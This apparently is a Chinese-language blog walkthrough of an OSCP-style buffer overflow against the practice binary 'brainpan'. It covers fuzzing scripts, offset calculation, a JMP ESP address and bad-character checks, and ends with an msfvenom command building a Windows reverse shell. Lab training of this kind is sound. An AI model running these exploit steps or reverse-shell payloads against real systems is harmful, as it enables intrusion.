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OSCP-Buffer Overflows brainpan

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2020/07/14 Share

OSCP-Buffer Overflows brainpan

https://github.com/freddiebarrsmith/Buffer-Overflow-Exploit-Development-Practice/tree/master/brainpan

1. 判断是否存在缓冲区溢出

通过如下脚本判断是否存在缓冲区溢出点,发送900位时程序崩溃说明存在缓冲区溢出

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#!/usr/bin/env python
# coding=utf-8
#!/usr/bin/python
import socket
import sys

buffer=["A"]
counter=100
while len(buffer) <= 30:
buffer.append("A"*counter)
counter=counter+200

for string in buffer:
print "Fuzzing vulnserver with %s bytes" % len(string)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('10.3.42.104',9999))
#s.send('TRUN /.:/' + string)
s.send(string)
s.close()

https://vuln.top/2020/07/14/OSCP%20Buffer%20Overflows%20brainpan%20473f8d6971d444c2a219b3ce9b976cd9/Untitled.png

2. 计算偏移量

通过MSF(/usr/share/metasploit-framework/tools/exploit)生成900位长度的字符串,通过下面脚本发送字符串

https://vuln.top/2020/07/14/OSCP%20Buffer%20Overflows%20brainpan%20473f8d6971d444c2a219b3ce9b976cd9/Untitled%201.png

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import socket
#string = "A"*900
string = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9"
print "Fuzzing vulnserver with %s bytes" % len(string)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('10.3.42.104',9999))
s.send(string)
s.close()

运行脚本后,找到EIP值

https://vuln.top/2020/07/14/OSCP%20Buffer%20Overflows%20brainpan%20473f8d6971d444c2a219b3ce9b976cd9/Untitled%202.png

通过msf脚本判断offset偏移位为524,./pattern_offset.rb -q 35724134

https://vuln.top/2020/07/14/OSCP%20Buffer%20Overflows%20brainpan%20473f8d6971d444c2a219b3ce9b976cd9/Untitled%203.png

3. 寻找JMP ESP地址

可通过搜索各个进程空间来获取,由于这个程序只有一个exe所有直接搜索,Ctrl+F 寻找jmp esp地址为311712F3

https://vuln.top/2020/07/14/OSCP%20Buffer%20Overflows%20brainpan%20473f8d6971d444c2a219b3ce9b976cd9/Untitled%204.png

4. 检查Bad Chars

通过Bad Chars检查是否存在无法执行的char(通常情况下\x00都是bad的所以不需要加入)

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badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

https://vuln.top/2020/07/14/OSCP%20Buffer%20Overflows%20brainpan%20473f8d6971d444c2a219b3ce9b976cd9/Untitled%205.png

ESP follow in dump 后观察左下角是否存在缺少的char如果缺少在msf生成shellcode的时候去除掉缺少的char

https://vuln.top/2020/07/14/OSCP%20Buffer%20Overflows%20brainpan%20473f8d6971d444c2a219b3ce9b976cd9/Untitled%206.png

5. 生成SHELLCODE

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msfvenom -p windows/shell_reverse_tcp LHOST=10.3.41.252 LPORT=4444 EXITFUNC=thread -f c -a x86 --platform windows -b "\x00"

通过msfvenom生成shellcode,将shellcode加入到EIP后,在shellcode之前放置一些NOP指令,给shellcode预留一些地址

在shellcode之前插入NOP指令的原因是,现在我们可以将执行流转移到这16个字节内的任何位置。处理器将继续执行NOP指令,直到找到shellcode。我们不需要知道shellcode的确切地址。这可以解决前面提到的不知道buf确切地址的问题。

https://vuln.top/2020/07/14/OSCP%20Buffer%20Overflows%20brainpan%20473f8d6971d444c2a219b3ce9b976cd9/Untitled%207.png

CATALOG
  1. 1. OSCP-Buffer Overflows brainpan
    1. 1.1. 1. 判断是否存在缓冲区溢出
    2. 1.2. 2. 计算偏移量
    3. 1.3. 3. 寻找JMP ESP地址
    4. 1.4. 4. 检查Bad Chars
    5. 1.5. 5. 生成SHELLCODE